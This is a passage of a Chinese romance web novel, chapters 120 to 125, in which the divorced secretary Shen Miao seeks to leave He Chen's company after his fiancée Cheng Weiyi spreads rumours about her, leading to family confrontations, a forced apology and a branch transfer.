沈渺住的这地儿,不安生了。 她放好东西,简单收拾两件行李,直接去了商音那儿。 她到的时候,商音还没醒,月嫂正在带孩子。 “沈小姐。” 沈渺把孩子接过来,月嫂切了一个果盘过来,“商小姐让我把房间收拾出来了,你要是累了可以过去休息一会儿。” 商商四个多月,白胖白胖的,胳膊一节一节的,像藕一样。 他倚着沙发,靠在沈渺怀里,看到水果眼睛都直了,提溜转。 “我不累,他现在能吃水果吗?” 月嫂忙摇头,“可不行,至少要六个月再添加辅食,孩子太小味蕾还没发育全。” 沈渺将果盘往一旁放了放,“那不馋他了,我等下再吃。” 她躺在沙发上,把商商围在里面,享受着难得的清净。 下午两点,月嫂做好了饭菜,商音爬起来,几个人移步餐厅吃饭。 “按理说,豪门应该更注重教育,程唯怡办事怎么这么没脑子?” 商音知道程唯怡干的好事儿,翻了一个大白眼,“你说贺忱会不会因此取消婚礼,这么蠢的女人娶回家也是个祸害。” 120.,别想进我们贺家的门! “不会。” 沈渺下意识地说。 说完她因为自己笃定的语气而怔愣住。 “也是,你前婆婆那么喜欢程唯怡,程唯怡就是再没脑子,位置也是稳固的。” 商音扒了口饭,有些含糊不清地说,“跟贺忱毕竟也青梅竹马,看样子程唯怡这个贺少夫人是当定了。” 沈渺递到嘴边的筷子停下来,她看一眼商音。 “吃饭,能不能不谈这么扫兴的话题?” 商音一噎,在心里怼了句,她觉得扫兴是因为对贺忱还有感情。 什么时候像一潭死水了,才是真的结束。 “好好好,吃饭,等会儿吃饱咱们带商商去公园逛逛。” 沈渺给商音夹了块肉,“多吃点补补。” 商音叹息,“别说,刚复播我真适应不了,感觉精力不够。” “干这行很辛苦,等以后攒到钱,我们就开一家小店,不干了。” 沈渺跟商音早有开店的计划。 开个超市,每天坐在那里吃零食,卖货,收钱。 浅姨说她俩胸怀小志。 明明都有赚大钱的能力,却没志向。 可她们只想要最平静的惬意。 —— 程家夫妇带着程唯怡去贺家请罪。 贺忱为此也撇下工作,特意回了贺家老宅。 贺老爷子与贺老夫人坐在沙发主位,两旁分别坐着明黎艳和贺岭山。 “这事儿,确实是唯怡做得不对,唯怡这孩子就是太在乎贺忱了,她就怕沈渺纠缠贺忱,毕竟沈渺是贺忱的前妻。” 孙易琴拿话点拨着,“这,你们换个角度想想,要是唯怡有个前夫,贺忱肯定也耿耿于怀。” 明黎艳想都不想就说,“她要是有个前夫,别想进我们贺家的门!” 这话一落,整个客厅静得令人窒息。 要知道,贺家最赞同这门婚事的,就是明黎艳了。 程唯怡的眼里一下蓄了泪。 她看向贺忱,咬着嘴唇一边掉眼泪一边说,“贺忱哥,我真的没想到事情会朝这个方向发展,我要是知道无论如何也不能害你啊……” “你要是诚心害他,就更不能留了!” 明黎艳接话道,“你身为未来的贺家少夫人,做事怎么能这么没有分寸?这事儿要是传出去,又不知多少人笑话我们贺家选了这么个没脑子的儿媳妇!” 她保养得当的脸上尽是怒气,脸色是涨红的。 他们现在打掉牙也得往肚子里咽,谁让人是自己选的? 程青良只觉得老脸烧得慌,本来就是上赶着结这门亲。 现在程唯怡还捅了这么大的篓子。 “老爷子,让你们贺家蒙羞了,这门婚事……你们看着办吧!” “爸!”程唯怡震惊地看向程青良。 孙易琴使劲杵了把程青良,怪他乱说话! 贺家都没说婚事不作数,程青良自己反倒是提这事儿了! 被政圈取消合作,令百荣多年的名声毁于一旦。 贺老爷子很生气,他连看都没看过程家那几人一眼。 话扯到他身上,他也只是微微动了下眼皮,看了贺忱一眼。 “让小忱自己处理吧。” 一霎,所有目光落在贺忱身上。 贺忱目光深邃,面色不辨喜怒,他坐在那里矜贵肆意。 骨相里透出的肃谨,此刻更加明显。 孙易琴拉着程唯怡起来,“你们年轻人的事情,自己去谈。” 她示意程唯怡跟贺忱说两句好听的。 程唯怡被连推带赶地去了贺忱身边。 贺忱坐在那儿,面视前方,目光并未看向她。 她低着头,看着男人硬挺的短发,迟迟不知如何开口。 “黎艳,唯怡小时候常住贺家,也是你看着长大的,这孩子就是单纯,没那么多弯弯肠子。” 孙易琴则坐到了明黎艳身边,挽上明黎艳胳膊。 “要我说这事儿,跟沈渺……” “跟沈渺有什么关系?”贺老夫人一听她提沈渺,就来气了,“人家跟谁搞对象谈恋爱,生个孩子结个婚的,跟你们有一毛钱关系吗?自己小肚鸡肠鸡蛋里挑骨头,怪得了谁?” 孙易琴霎时不说话了。 可她那几句,就让明黎艳又动了恻隐之心。 毕竟是自己看着长大的,程唯怡确实是太老实了。 她看向站在贺忱面前的程唯怡,站在那儿欲哭不哭的样子,真让人心疼。 “贺忱,不管怎么说你也是有愧于唯怡的。” 她这话一出,贺老夫人翻了个白眼,扭过头去闭上眼睛,都不睁开了,生怕把自己眼珠子翻坏了。 贺忱站起来,跺了跺脚将西装展平,“你跟我来。” 丢给程唯怡一句话,他转身到阳台上去。 程唯怡咬了咬唇,跟上贺忱。 “跟贺忱好好说。”孙易琴轻声交代了句。 阳台阳光充足。 贺忱精壮的腰身抵在墙沿处,背光而站,令人看不清他的表情。 程唯怡站在他身侧,一直看着他的侧脸。 “贺忱哥,对不起,我以后再也不会给你添麻烦了。” “你该说对不起的人,不是我。” 贺忱看向她,“自始至终,沈渺都中规中矩,她从未涉入我们之间,就算真的会影响到我们,也是我的问题,跟她无关。” 程唯怡看着他的目光更为诧异,“什么意思。” “跟沈渺道歉,去国外做检查,二选一。” 贺忱薄唇轻启,吐出两句话。 他的意思是,程唯怡只要做其中一样,他们的婚礼就还能继续。 程唯怡的心里‘咯噔’一声,脸色顿时煞白。 不论是哪一个,她都不想选! 贺忱这是替沈渺出头的意思吗? 让她跟沈渺道歉,凭什么? 沈渺跟何之洲不清不楚,那是事实啊! 可去国外做检查…… “贺忱哥,你是不是反悔了,不想跟我结婚了?” 贺忱面色依旧,“我决定的事情,就不会后悔,但我会做更好的选择。” 程唯怡的脸色煞白,她听出了贺忱话中的意思。 贺忱侧目,朝她看过来,“而且这对你也更好。” “这对我不好!”程唯怡的眼泪汹涌而来,“你太自私了,你从来没有考虑过我!” 两人的争执声传到客厅。 孙易琴听到程唯怡声音,忍不住看过去。 却见程唯怡虽哭着,却是气冲冲的,忍不住拧眉,“这孩子,我去看看……” 她立刻起身去阳台,想训斥程唯怡,不道歉,怎么还发上脾气了! 121.很难把控的关系 孙易琴将阳台门打开。 “唯怡……” 她的话音还没落地,程唯怡转身朝外走,将在门口的她挤开,夺门而出。 孙易琴踉跄着撞在墙上,她又气又急,“贺忱,你快去追她啊!” 程唯怡哭着离开的速度太快,快到客厅里几个人都没来得及反应。 贺忱拧着眉,目光紧随着程唯怡的身影移动。 他却站在原地没动。 “您还愣着干什么?她一个姑娘家家的,放下面子跟你道歉,你知不知道因为这件事情,她这几天都自责得没有睡好……” 孙易琴急切地催促着贺忱。 “行了!” 程青良坐不住了。 客厅里,贺家几人面色各异。 程唯怡再怎么不是故意的,事情也是她造成的。 她哭着跑,好像贺家人欺负了她一样。 难不成,还要让贺忱去哄她? 程青良站起来,朝着贺家二老颔首。 “老爷子,老夫人,我们回去一定好好教育唯怡,这件事儿是我们程家对不住了,我们做父母得替唯怡道歉。” 孙易琴在阳台上回来,不等说什么就被程青良使眼色。 本想再替程唯怡圆两句的话,出口就成了跟程青良一样道歉的意思。 “确实确实……” 最后程家夫妇打着寒暄离开了。 下人送他们离开的。 他们离开后,明黎艳深吸一口气,打圆场。 “唯怡这孩子,就是天真了些,没那么多弯弯肠子,不如沈渺讨喜。” 阳台门开着,贺忱站在阳台上吸烟,修长干净的手指夹着缓慢燃着的烟支。 烟雾缭绕,令他增添几抹冷然的神秘。 明黎艳说这话时,有意无意地打量贺忱。 却看不出贺忱什么态度。 “别拿沈渺跟她比较。” 贺老夫人布满褶皱的脸上尽是不赞同。 “人家已经跟贺忱没关系了,偏偏你们就爱拿她前妻的身份说事儿,我听说她提了几次离职。” 话说到这儿,老夫人不悦地撇一眼贺忱。 “偏偏有些人不懂人情世故,事情闹到今天这一步,全都是你们的错。” 她几句轻描淡写,将沈渺内心深处的委屈,全都摆到台面上来了。 这下换明黎艳不高兴了,毕竟她内心深处,还是更中意程唯怡的。 贺老夫人才不管她高兴不高兴,站起来走到阳台门口。 “听说,董事们要求你开除渺渺?你要真这么干,咱们贺家的脸往哪儿搁?这会让多少员工寒心不说,也等于坐实那些新闻。” 媒体不傻,新闻上虽报道出何之洲跟沈渺不清不楚。 但何之洲那个身段的人,什么女人没见过? 隐晦的话语无一不在暗示,沈渺是个有心计的女人,主动勾引何之洲—— “做人,要有良心,把人家推火坑里填平你的危机,这就不叫人干的事儿。” 贺老夫人见贺忱不说话,她转身朝楼上走。 言尽于此,就看贺忱怎么做了。 贺懿在二楼拐角处的藤编椅上坐着,见贺老夫人上来,她关了手机录像,起身去扶老太太。 “奶奶,听说何夫人找过沈渺了,让沈渺离开。” 贺老夫人只觉得心痛。 “本以为,渺渺嫁给你哥,嫁入咱们贺家,是翻身改命的,谁知道是厄运的开始。” 又是程家,又是何家。 “找个机会,见见何家人,豁出去我的老脸,帮渺渺杀出一条路来。” 贺懿送贺老夫人回房,安抚了几句,回到自己房间。 她将刚刚那一幕的录像,发给了沈渺。 【渺渺,爷爷奶奶都知道你受委屈了,你看,程家人上门来道歉了,程唯怡哭哭啼啼地烦死了,搞得好像我们贺家欺负人了一样,我哥都生气了……】 贺懿之所以把这些发给沈渺,是她觉得,贺家欠沈渺一个道歉。 毕竟程唯怡曝光这些,都是因为贺忱。 沈渺每天晚上陪商音直播,在一旁打下手,睡得较晚。 她醒来看到这条消息时,已经快中午了。 【帮我谢谢爷爷奶奶,你们的好意我心领了。】 对贺家二老跟贺懿,沈渺除了说谢谢。 实在不知还能说什么。 这是一份很难把控的关系。 互相关心却还要保持距离,沈渺感激却又愧对他们。 而事情闹到这个地步,不论对错,沈渺跟程家的关系,都已经是水火不相容的了。 离开的事情,迫在眉睫。 只是公司那边,不知何时才能出结果。 “你大着肚子,就不要再跟我熬夜了。” 商音醒来后,跑到她房间,掀开被子上床,抱着她,“今晚早点睡。” 沈渺放下手机,“帮你分担一些。” 为了节省开支,商音没有雇助播。 她把自己拆成两份,忙得焦头烂额。 沈渺帮了她不少忙。 “果然,男人可以没有,但不能失去闺蜜。” 商音抱着她胳膊的手又紧了些,朝她咧嘴一笑。 笑还没彻底扬起来,就看出沈渺眼底深处,藏着事儿。 “怎么了?” 在商音面前,沈渺脸上藏不住事。 她将手机拿过来,将那段视频拿给商音看。 贺懿录的挺全的,从程家几人赔笑进门开始,到程唯怡哭着离开,程家夫妇替程唯怡道歉。 “你说,这门婚事会不会因为这件事情,就这么吹了?” 商音暂停录像。 沈渺扫了眼屏幕,刚好看到贺忱在阳台上吸烟的画面。 男人面色不辨喜怒,被烟雾笼罩轮廓模糊,那双深邃的眼眸却泛着幽光,令人难以忽视的锐利。 “管他们会不会吹,我只在乎我能不能走。” 她把手机拿过来,给贺忱发消息,约见面。 停职一周的期限,已经到了。 贺忱让她下午三点去医院见面,顶楼的VIP病房。 “啥情况?”商音猜测着,“被程唯怡折腾得心脉受损,住院调理身体去了?” 贺忱稳重成熟,程唯怡任性骄纵。 两人前几次吵架,都是贺忱低头哄人。 “不清楚。”沈渺把手机丢一边。 或许程唯怡真把贺忱折腾得不轻,但不至于到住院的地步才是。 但礼貌起见,沈渺去医院的时候,顺路买了一个果篮。 可当她到病房,看到坐在病床上的人是程唯怡时,恨不得把果篮丢垃圾桶里。 122.发自内心的,就是不想让沈渺离开 程唯怡脸色苍白,眼眶发红。 蓝白相间的病号服,令她看起来更为憔悴可怜。 贺忱坐在床尾的沙发上,双腿叠放手里拿着一份报纸。 听到敲门声,两人一同朝门口看过来。 沈渺推门而入,室内景象映入眼帘,她静默数秒,关上门进来。 “贺总。” 她眉头几不可察地皱着,不明白贺忱约她在程唯怡的病房见面,是什么意思。 “坐。”贺忱指了指身边单人沙发。 沈渺迟疑片刻,坐下来,将果篮放在身边。 她与贺忱并排,齐齐看向病床上孤零零坐着的程唯怡。 一瞬,程唯怡的脸色更苍白了。 沈渺只看了程唯怡一眼,就移开目光,又看向贺忱,“贺总,离职的事情……” “先等等。”贺忱放下报纸,手搭在扶手上,指尖一下又一下地轻轻敲击扶手。 病房里气氛逐渐变得微妙。 沈渺不明白这是闹哪一出,她唇瓣轻抿,沉默着。 “沈秘书,对不起。” 程唯怡带着哭腔的声音响起,“我不该散播你跟何之洲的谣言,损坏了你的名声,还给你的工作带来影响,你能不能原谅我?” 那段视频上,贺忱跟程唯怡在阳台上谈了什么,是听不见的。 沈渺以为,闹得那么僵都是因为程唯怡给贺忱惹了麻烦。 程唯怡竟然跟她道歉。 她看向贺忱,清眸深处涌上来的诧异,很是清晰可见。 “你有权利不接受。”贺忱站起来,跺了跺脚。 挺括的裤管熨贴着他的双腿,勾出健壮笔直的腿型。 他朝门外走去,“其他的事情,回公司谈。” 他让沈渺过来,是因为程唯怡还在住院,道歉只能在医院。 沈渺反应过来,病房里已经没了贺忱的影子。 病房门关上,一片死寂。 程唯怡看她的眼神,已经从刚刚的柔弱无助,变成了憎恨,羞恼。 “你少在这里猫哭耗子假慈悲,还拎了东西过来,显得你大度!” 这变脸的速度,堪比川剧。 沈渺站起来的同时,把果篮又给拎起来了。 “早知道住院的是你,我不会拎东西。” 说完她抬脚朝门口走。 程唯怡,“你——” “哦对了。”沈渺将门推开一半,又停下,转过头来,“你的道歉,我不接受。” 贺忱不是说了,她有权利不接受。 她丢下这句话拎着果篮离开的背影,刺得程唯怡眼睛痛,心脏痛。 在那二选一的条件中,她只能选这个! 医院停车场,劳斯莱斯商务车窗半落着。 沈渺走过去,微弯了腰,“贺总……” “上车,先回公司。” 贺忱示意她开车。 沈渺将果篮放在后备箱,绕到驾驶位,发动引擎驱车直奔公司。 她端坐着,长发被夹子束在脑后,端庄大气中,又因耳畔落下的几缕碎发,显得随意慵懒。 贺忱稍低着头,透过窗上的倒影看着她,眼睛一眨不眨。 沈渺好像变得哪儿不一样了。 虽然那两年的婚姻中,她没有表现出对他有多深的感情。 可至少他能感觉到,她是围着他转的。 这种‘转’不仅仅指工作上。 “贺总,我在离职期间,不适合去公司。” 红绿灯路口,沈渺思量着开口,“而且离职是您一句话就能决定的事情。” 送贺忱去公司的路上,足足一个小时的车程。 足够他们谈清楚离职了。 当初离婚,都没这么折腾。 “你想离开。” 贺忱听似淡然的语气,带着一股莫名不虞。 沈渺点头。 路口行人杂乱,在斑马线上穿插而行。 直到红灯转绿,汽车有序前行,沈渺踩下油门。 道路畅通了,贺忱却迟迟没有开口。 直到沈渺将车开入百荣地下停车场,停在贺忱的专属车位上。 贺忱打开车门下去,扳动门把却没反应。 他眉骨一拢,回过头看沈渺。 “贺总,您还没回答我。”沈渺没解开车锁。 她也是吃了熊心豹子胆,竟是把贺忱关在车上。 贺忱的眉骨收拢得更紧,他问,“如果我不答应呢。” “我真的不合适再留下,您也不希望程小姐再伤心难过吧。” 沈渺巧妙地用‘伤心难过’来敲打贺忱。 她若不走,程唯怡还得折腾,到时显得大家都不好。 贺忱靠回座椅上,他愣是被沈渺不解车锁的行为给气笑了。 “沈渺,我要是不答应,你是不是打算一直不开车门?” 沈渺摇着头,“当然不是,我会说服您答应。” 说不服,就一直说,否则……贺忱就别想下车。 这跟贺忱不答应不开车门,有什么区别? “你跟我上楼,今天我一定给你满意的答复。” 贺忱的手轻敲了下车门,示意沈渺开车门。 他笃定的语气中,没有答应沈渺辞职的意思。 但他所谓的满意,又让沈渺冉起好奇心。 他知道她想要什么吗? 当沈渺打开车锁,跟着贺忱一起上楼,来到顶层总裁办公室。 贺忱将一份调职书放在沈渺面前时,沈渺就确定了,他不知道她想要什么。 将沈渺调去分公司,做总经理,还是那个她做了半年的职位,至今空缺着。 “离开百荣,你没有更好的去处,这件事情错不在你,我不会开除你,也不能让你走。” 为了公司名声着想,贺忱不能让沈渺离职。 她主动离职,在外人眼里看来,也是被公司逼走的。 这对公司的名声确实不好。 所以,沈渺到底要不要走,为什么想走,都不在贺忱的考虑范围之内。 沈渺的心头泛着凉意。 她犹豫了几秒,退而求其次,“那我申请调到外地的分公司去。” 外地缺总经理的分公司,有的是。 贺忱倏地掀动眼皮,朝她看过来。 她坚定的模样,让贺忱的心里涌上来一抹烦躁。 “公司姓沈?” 沈渺摇头,把调职书放回去,“公司的事情我做不了主,但我姓沈。” 她能做自己的主,贺忱不依她,她还辞职。 贺忱一句话就能拒绝她辞职,可拒绝的次数多了,事情本质就变味了。 他没道理,也没有立场,用强硬的手段留下一个员工。 连离婚他都不挽留,离职算什么? 但贺忱发现,他竟是发自内心的,就是不想让沈渺离开。 123.前夫给前妻撑腰 两人各不相让,让调职的事情僵住了。 沈渺继续停职,她在贺忱的办公室出来,迎面而来的同事皆是问了句:‘沈秘书,你是来走离职手续的吗?’ 听到沈渺说不是,那些人的目光多了许多耐人寻味。 吴蕾倒是不意外,她去二楼送文件,顺路跟沈渺一起下楼。 “那贺总打算怎么处置你?” ‘处置’两个字,用得好。 沈渺摇着头,“具体还没定下来。” 贺忱已经松口调职,会不会离职不知道,但以后肯定不会来公司。 但一切尚未成定局,她没往外透露只字半语。 在百荣离开,她回到商音那儿,刚好吃晚餐。 商商躺在婴儿车上,乌黑的大眼睛直往桌子上看。 商音熬夜直播,习惯晚上来杯高浓度咖啡,喝一口她的眉头皱的比打了死结还严重。 “苦尽,不知道甘能不能来呢。” 沈渺手里捏着一个小鸡腿,一边吃一边馋商商。 “必须来。” 她这番笃定的语气,让商音立马抬眼看过来。 “受什么刺激了?硬碰硬啊?” 人家硬如钢铁,而沈渺是瓷儿的。 论背景她比不过程唯怡。 论实力她比不过贺忱。 拿什么碰? 沈渺这辈子,就是太‘顺’了。 从孤儿院到名校,虽然日子苦了些可路途还是顺利的。 毕业后进入百荣,被贺忱一路提拔。 她一个没有背景的人混到今天,得到的回报是超出付出比例的。 正因为这样,她的骨子里有股韧性。 才敢在工作上,跟贺忱叫板。 所有的不顺,都在她怀了这个孩子开始。 她有所忌惮,小心翼翼,只图全身而退,却弄巧成拙,越陷越深。 深陷在贺忱跟程唯怡之间。 就看上午程唯怡那态度,憋着气道了歉,贺忱前脚走后脚变脸。 就算沈渺不呛她两句,这个仇也是越结越深的。 沈渺确实跟他们碰不起,所以工作上她不能退步了。 贺忱高兴也好,生气也罢,她都不能再待在百荣了。 她将今天程唯怡道歉的事儿,讲给商音听。 商音一口就把浓缩黑咖啡给干了,“痛快,咖啡都不苦了!” 沈渺将小鸡腿吃完,把骨头扔了起身去厨房洗了把手。 再回来,就看到商音又满面愁容。 “你要是把贺忱得罪了,可怎么办?” 沈渺坐回来,拿起筷子的动作一顿。 贺忱那张轮廓分明的脸在她脑海里一闪而过。 她笑了笑,“他要真不高兴,就炒我鱿鱼了。” 贺忱比何之洲宽宏大量,不记仇。 尤其,错不在沈渺,他不会把这口气撒在沈渺身上。 只是…… 贺忱也不该在她离职的事情上,如此犹豫。 贺忱到底是怎么想的? 沈渺猜不透的人,此刻正在露台的藤编椅上坐着。 他指骨分明的手里端着一杯红酒,轻靠着椅背,深邃的眼眸落在一望无际的浩瀚星空。 房间里传来脚步声,“孙子。” 贺老夫人在房间里没找到人,喊了一声往外走。 贺忱坐直身体,倾身朝室内看,“奶奶。” “你跑那儿去做什么。” 贺老夫人又折回来。 她走到露台,目光在小矮桌的空酒瓶上一扫而过。 贺忱起身,将藤编椅让给贺老夫人坐。 “您找我。” 贺老夫人坐下去,两条腿都离了地,藤编椅轻轻晃动着。 “渺渺的事情,你到底怎么打算的?” 贺忱在小矮凳上坐下,修长的双腿微敞着,手肘抵在腿上。 “您有话可以直接说。” 贺老夫人并不是来关心,贺忱到底怎么安排沈渺。 因为不管贺忱怎么安排,也绝对不是她想的那么安排的。 “一日夫妻百日恩,这件事情错在程唯怡,渺渺也是受害者,你总要弥补她一些。” 贺忱放下酒杯,十指穿插,静等着贺老夫人下文。 贺老夫人斟酌了下。 “你不如,就顺水推舟,帮她嫁到何家。” 这直白的话,钻入贺忱耳朵里,炸开。 贺忱只觉得耳朵一刺,他长眸眯成一条线。 “您说什么?” “沈渺跟何之洲就算明面上没在一起,也有点什么。” 贺老夫人没吐露沈渺怀孕的事儿。 倒不是不信任贺忱,只是觉得没必要。 沈渺跟何之洲有点什么? 贺忱眸光一凝,“您听谁说的。” “这你就别管了,反正帮她一把吧,何之洲品行虽然一般,但何家条件不错,咱们给渺渺撑腰,她嫁过去不会受欺负的。” 贺老夫人现在就两个愿望。 一是看着贺忱结了婚,二是给沈渺也安排个好人家。 哦不对,再许一个,给贺懿也找个好人家。 三个愿望吧。 “我听说过哥哥给妹妹撑腰的,也听说过丈夫给妻子撑腰,唯独没听过,前夫给前妻撑腰。” 贺忱的嗓音有些沉。 透着一股深秋时节的凉意。 贺老夫人看了他三秒问,“你什么时候把她当过前妻?” 贺忱:“……” 他要是把沈渺当成前妻,哪里还会有这些事情发生? 初夏第一场雨,来得快而急。 贺老夫人从藤编椅上起来,往屋内走,“唉,要不是你们两个突然离婚,哪里会有今天这些糟心事儿……” 贺忱起身送她,听到这话脚步一顿。 桌上的手机响了。 他又折回露台,拿起手机接电话。 “贺总,我这儿……” “我马上到公司。”贺忱不等林昭将话说完,就打断道。 他挂了电话,进衣帽间换了件黑色衬衫,阔步离开院落,上车就走。 雨来得急走得急。 到公司时,雨已经停了。 贺忱跟林昭前后脚进的公司门。 林昭快走两步,追上贺忱,一同乘电梯上去。 “什么事?” “就,国外的医生约好了,下周飞京北。”林昭弱弱地说。 贺忱指腹轻轻在表盘处摩擦。 他掀弄起眼皮在电梯壁上看了一眼林昭。 “就这?” 这语气,分明是嫌弃林昭把他折腾到公司来了。 可林昭没让他来公司啊。 林昭一气之下,气了一下,“抱歉,打扰到您休息了。” “下不为例。” 电梯门开了,贺忱阔步进入办公室。 林昭想说若没别的事他先走了。 可贺忱走得太快,他跟到办公室里,才找到机会开口。 “贺总,时间不早了,没别的事情您也早点歇着吧。” 贺忱走到沙发前坐下,双腿微敞靠着沙发背,微仰的头将下颚线条完美展露出来。 他合着眼未睁,喉结滚动说了句,“林昭,你说沈渺当初为什么嫁给我。” 124.当初,沈渺愿意嫁给他吗? 林昭跟了贺忱这么久,从来没谈过工作之外的事情。 尤其还是感情上的事情。 沈渺跟贺忱意外睡了那一晚,隔了一天就让林昭去准备婚前协议。 所以哪怕这两人都没说,他也知道是为了负责。 贺忱娶沈渺,是为了负责。 沈渺嫁贺忱,是为了……被负责? “贺总,您喝酒了?” 林昭闻到贺忱身上有淡淡的酒味。 贺忱眉尾一挑,朝他看来的目光带着几分不满。 显然是怪他答非所问。 “我跟沈秘书也不是特别熟。”林昭被那一个眼神看得心里发虚。 他硬着头皮参与顶头上司的感情私事话题。 “但结婚是您提的,她总不能拒绝吧,毕竟您是她老板。” 林昭是这么认为的。 在他的认为中,沈渺嫁给贺忱成了被迫。 有种被上司睡了,怕被上司穿小鞋,又被迫嫁给上司的既视感。 幸好贺忱长得不是肥头大耳,年纪大又秃顶的老男人。 不然—— “照你这么说,她不愿意嫁给我?”贺忱的声音徒然冷了不少。 林昭一激灵。 他说了什么?哪句话表达错意思了? “当然……不是,您相貌出众能力出众,是个女人都愿意嫁给你,沈秘书肯定是愿意的啊!” 当初,沈渺愿意嫁给他吗? 贺忱回忆了下,他问沈渺结不结婚。 沈渺犹豫了好一会儿,才说结。 她在犹豫什么? 犹豫不结,会是什么样的下场? “贺总,您跟沈秘书都离婚这么久了,想这些干什么?” 林昭试图将话题从他说错话带来的漩涡中,转移出来。 但他说完,忍不住小声脱口而出了句,“沈秘书可从来没跟我说过这些……” 算下来,沈渺真是林昭见过的下属、女人、前妻,三个类别中最有分寸的。 她集这三个身份与一身,却从来没有干过出格的事儿。 办公室里太安静了。 他很小声的话,还是被贺忱听到了。 “你听起来,很有见解,那你再说说,她为什么要离婚。” 林昭:“……” 危机感十足。 谁敢对上司的感情评头论足? “贺总,要不我给沈秘书打个电话问问?” 贺忱鹰隼般的眸沉下来,他薄唇吐出一个字,“滚。” 林昭连寒暄都顾不上,扭头就走了。 不正常,今天的贺忱太不正常了。 喝了酒,还因为他一通没说明情况的电话,冒着雨从家里跑到公司来。 问了两个不符合他智商的问题。 直冲云霄的大厦,顶层办公室的灯亮如白昼。 凌晨两点,贺忱洗了澡穿着浴袍出来,准备在休息室凑合一下。 秦川发来消息:【你请我老师来国内了?】 贺忱:【嗯。】 秦川:【为了给程唯怡看诊?听说她不配合,你有计划?】 贺忱避而不答:【你怎么还没睡。】 秦川:【医院不把我当人,什么病患都让我接手,一天安排了六台手术。】 这个点,他刚从手术台上下来。 看到老师发来下周来京北的消息,他立马给贺忱发消息。 没想到这么巧,贺忱也还没睡。 他戴上蓝牙耳机,开车回家,拨通贺忱的电话。 “在国外搞科研不好,非要回国干什么。” 贺忱将手机丢在一旁,从衣帽间挑一套浅灰色睡衣换上,“而且你不是说再也不回国。” 秦川那端能听到汽车的嗡鸣声。 他沉默了好一会儿才说,“身不由己。” 贺忱将衣服换好,拿起手机出来上床。 “秦家大少,还有身不由己的时候?” 秦川一声苦笑,“我在秦家,什么时候有过地位。” 唯一的地位,就是跟贺忱关系不错,秦家出资送他去国外留学。 “我帮你摆平。” 贺忱等着他主动说,回来的原因。 秦川沉吟片刻,越过这个话题了,“你打算怎么处理你那个秘书。” 新闻闹得沸沸扬扬。 不在这一行的,不关注这些。 但秦川因为跟贺忱的关系,格外留意商业新闻。 “该怎么处理就怎么处理。” 贺忱言简意赅,他将手机拿过来,“挂了。” 床头开着一盏暗灯,将他的身影打在墙壁上,勾出挺拔有型的面部轮廓。 他侧躺着,却迟迟不能入睡…… —— 沈渺等了两天,终于等来了调职下文。 贺忱让她做一份分公司考察表,看哪个分公司更需要她。 这等于把选择权,交到了沈渺自己手上。 百荣分公司遍布大江南北,可惜的是先前她跟商音决定去的地方排除在外。 因为她们刻意避着贺忱呢。 “贺忱接手公司这么多年,只去就近的两个分公司考察过,而且只是到公司转一圈,所以不论我选哪里,都大概率不会再见到他的。” 沈渺嘴上这么分析,还是选择了离着京北较远地方的分公司。 兰洲。 那地儿偏南方,冬天不会太冷,夏天也不会像京北一样干热。 她就兰洲的分公司展开调查,近几年那边都处于赔钱的状态。 因为地理位置有些偏僻,虽然是一线城市可不如其他地方发达,导致发展落后。 “你可别上任没两天,再倒闭了。” 商音有些担心,“而且你刚过去没几个月,就要休产假,万一有突发状况你赶不及处理,就是纯背锅的命。” 沈渺看她一眼,“乌鸦嘴,我休产假总公司会派人过去暂替我的工作,就算有突发状况也不至于倒闭。” 她对这个分公司印象深刻。 两年前这个公司的总经理离职,吴蕾被调过去暂为管理了一段时间。 回来之后,吴蕾对工作大吐苦水,但是对那儿的气候和环境,大为夸赞。 “那就这儿了。”商音拍板定音,“我跟你走。” 沈渺装模作样地弄了个计划书,“这是首选,再来两个备选,不管贺忱选哪个,我都能接受。” 只要不在京北就行。 商音看着她认真敲击键盘的样子。 冷不丁冒出来一句,“渺儿,你现在什么心情?” “很淡定,一定能走得了。”沈渺看都不看她一眼。 商音,“我问的不是这个,是你要离开贺忱了,估计下次再见,他就是程唯怡的老公,你们再也没有可能了。” 她说的都是实话,沈渺都知道。 可这些话说出来,还是像一颗颗秤砣,看着小小一个,却很重,往沈渺心头上砸。 125.TXL不遗传吧? 当初沈渺应聘进百荣,就是为了离贺忱近一步。 后来成为贺忱的秘书,更近一步。 不算费劲心思地接近他,也算为了他一步步往上爬。 现在却是为了远离他,处心积虑地盘算。 比起肚子里的孩子,没有什么更重要。 可沈渺还是得承认,她的内心不平静。 “好了,我知道了。” 商音觉得她脸上就写着‘放不下’三个大字。 沈渺眼皮撩拨,“你知道什么了?” “只可意会,不可言传。”商音故作神秘。 沈渺继续做计划表,做完后发给贺忱,然后就剩下等。 工作几年来,她从未像这次一样,一点工作都没有的休假。 每晚帮商音助播成了唯一的工作量,对她来说很简单。 商音挑了个日子,让她陪着去医院复查。 还没到产后复查时间,商音是冲秦川去的。 “你可别误会,那秦医生长得虽然挺帅,可不至于让我念念不忘,就是觉得要走了,很难再见到这么优秀的男人,不接触一下可惜了。” 沈渺系安全带,朝她看去时,不由得笑了。 “我可什么都没说。” 商音瞥她一眼,“你不说不代表你心里不会瞎想。” 她们两人性格截然不同,商音是想到什么说什么。 沈渺性子内敛从不多言多问,但她处处都能想到,心很细。 “刚好,我去把病历拿回来。” 下次孕检,一定是在外地了。 “今天我得把他微信要到手。” 商音胜券在握,“以后见不到面,远程撩骚更肆无忌惮。” 在感情上,商音是个十足的小菜鸡。 好歹沈渺还能明确对贺忱的感情。 可商音就没遇到过喜欢的人,‘身经百战’的经历,全都是隔空撩骚。 现实中遇到的男人,根本放不开。 “秦医生看起来是个不错的人,你别玩坏了。” 沈渺觉得,每个人都有底线。 例如何之洲,就算抱着看戏的心态,可还是帮她保守秘密。 秦川跟贺忱虽然认识,但出于职业道德,也没有泄露她怀孕的事情。 在某些意义上来说,他们都算‘好人’。 这两个字刚在沈渺的脑海里浮现,她又想起何之洲那张欠揍的脸。 算了,就秦川是好人吧。 “你懂什么?”商音跃跃欲试,“看起来越正经、正派的男人,被撩得浪荡了,才是最过瘾的。” 沈渺看了商音一眼。 别说,两年的婚姻,她对贺忱的感情没有覆灭在滤镜碎了的近距离接触中。 就是因为进一步看到贺忱在床上‘很凶’的样子,更沉沦了。 “就你的条件,想要什么样的男人都有,不浪一浪,可惜了。” 商音要是有沈渺这身材,就敢面对面的撩男人。 她现在去撩,就怕男人给她来一句太丑勿扰。 医院,妇产科室大腹便便的人随处可见。 沈渺跟商音走在里面,算是显眼的。 一来两人都看不出怀孕迹象,二来怀孕的一般都是老公陪着。 商音算是个小网红,接待的小护士恰好是她的粉丝。 